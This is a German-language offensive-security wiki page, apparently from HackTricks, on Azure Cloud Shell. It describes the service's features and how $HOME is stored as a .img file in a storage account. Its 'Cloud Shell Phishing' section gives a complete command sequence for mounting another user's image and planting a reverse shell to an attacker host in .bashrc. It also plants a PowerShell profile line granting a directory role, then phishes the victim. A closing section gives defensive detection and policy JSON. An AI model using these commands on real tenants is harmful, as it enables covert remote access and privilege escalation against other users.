# Az - Cloud Shell {{#include ../../../banners/hacktricks-training.md}} ## Azure Cloud Shell **Azure Cloud Shell** ist ein interaktives, authentifiziertes, browserzugängliches Terminal, das für die Verwaltung von Azure-Ressourcen konzipiert ist und die Flexibilität bietet, entweder mit Bash oder PowerShell zu arbeiten. Es läuft auf einem temporären, pro Sitzung host, der nach 20 Minuten Inaktivität abläuft, während Dateien im $HOME-Verzeichnis mit einem 5-GB-Dateifreigabe gespeichert werden. Cloud Shell kann über mehrere Punkte aufgerufen werden, einschließlich des Azure-Portals, shell.azure.com, Azure CLI und PowerShell-Dokumentation, der Azure-Mobile-App und der Visual Studio Code Azure-Kontoerweiterung. Es sind keine Berechtigungen für diesen Dienst zugewiesen, daher gibt es keine Techniken zur Privilegieneskalation. Auch gibt es keine Art der Enumeration. ### Key Features - **Vorinstallierte Tools**: Cloud Shell enthält eine umfassende Sammlung vorinstallierter Tools wie Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git und Texteditoren wie vim, nano und emacs. Diese Tools sind einsatzbereit. Um die installierten Pakete und Module aufzulisten, können Sie "Get-Module -ListAvailable", "tdnf list" und "pip3 list" verwenden. - **Azure-Laufwerk (Azure:)**: PowerShell in Azure Cloud Shell umfasst das Azure-Laufwerk (Azure:), das eine einfache Navigation durch Azure-Ressourcen wie Compute, Network und Storage mit dateisystemähnlichen Befehlen ermöglicht. Wechseln Sie mit cd Azure: zum Azure-Laufwerk und kehren Sie mit cd ~ in Ihr Home-Verzeichnis zurück. Sie können weiterhin Azure PowerShell-Cmdlets verwenden, um Ressourcen von jedem Laufwerk aus zu verwalten. - **Benutzerdefinierte Tool-Installation**: Benutzer, die Cloud Shell mit einem Speicherkonto konfigurieren, können zusätzliche Tools installieren, die keine Root-Berechtigungen erfordern. Diese Funktion ermöglicht eine weitere Anpassung der Cloud Shell-Umgebung, sodass Benutzer ihre Einrichtung an ihre spezifischen Bedürfnisse anpassen können. - **$HOME-Persistenz**: Wenn Sie Azure Cloud Shell zum ersten Mal starten, können Sie es mit oder ohne ein angehängtes Speicherkonto verwenden. - Wenn Sie sich entscheiden, keinen Speicher anzuhängen, wird eine flüchtige Sitzung erstellt, in der Dateien gelöscht werden, wenn die Sitzung endet. - Um Dateien über Sitzungen hinweg zu speichern, haben Sie die Möglichkeit, **ein Speicherkonto zu mounten**, das automatisch als `$HOME\clouddrive` angehängt wird, wobei Ihr `$HOME`-Verzeichnis **als .img-Datei in einer Dateifreigabe gespeichert wird.** ### Cloud Shell Phishing Wenn ein Angreifer Bilder anderer Benutzer in einem Speicherkonto findet, auf das er Schreib- und Lesezugriff hat, kann er das Bild herunterladen, **eine Bash- und PS-Hintertür hinzufügen** und es zurück in das Speicherkonto hochladen, sodass beim nächsten Zugriff des Benutzers auf die Shell die **Befehle automatisch ausgeführt werden**. - **Bild herunterladen, Hintertür hinzufügen und das Bild hochladen:** ```bash # Download image mkdir /tmp/phishing_img az storage file download-batch -d /tmp/phishing_img --account-name # Mount image cd /tmp/phishing_img/.cloudconsole mkdir /tmp/cloudpoison sudo mount acc_username.img /tmp/cloudpoison cd /tmp/cloudpoison sudo mkdir .config sudo mkdir .config/PowerShell sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 # Bash backdoor echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc # PS backdoor echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 cd /tmp sudo umount /tmp/cloudpoison # Upload image az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" ``` - **Dann phish den Benutzer, um auf https://shell.azure.com/ zuzugreifen.** ### Finde & Verhindere automatische Speicher-Konten von Cloud Shell Speicherkonten, die von Cloud Shell erstellt wurden, sind mit **`ms-resource-usage:azure-cloud-shell`** gekennzeichnet. Es ist möglich, eine Azure-Ressourcenrichtlinie zu erstellen, die das Erstellen von Ressourcen mit diesem Tag deaktiviert. Finde alle von Cloud Shell erstellten Speicherkonten nach Tags: ```bash az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")' ``` Richtlinie zur Verhinderung der Erstellung automatischer Speicherkonten für Cloud-Shell-Speicher basierend auf Tags: ```json { displayName: "Restrict cloud shell storage account creation", description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy", metadata: { category: "Storage", version: "1.0.0" }, mode: "All", parameters: { effect: { type: "String", metadata: { displayName: "Effect", description: "Deny, Audit or Disabled the execution of the Policy" }, allowedValues: [ "Deny", "Audit", "Disabled" ], defaultValue: "Audit" } }, policyRule: { if: { allOf: [ { field: "type", equals: "Microsoft.Storage/storageAccounts" }, { field: "tags['ms-resource-usage']", equals: "azure-cloud-shell" } ] }, then: { effect: "[parameters('effect')]" } } } ``` ## Referenzen - [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) - [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) - [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) ## Persistenz {{#ref}} ../az-persistence/az-cloud-shell-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}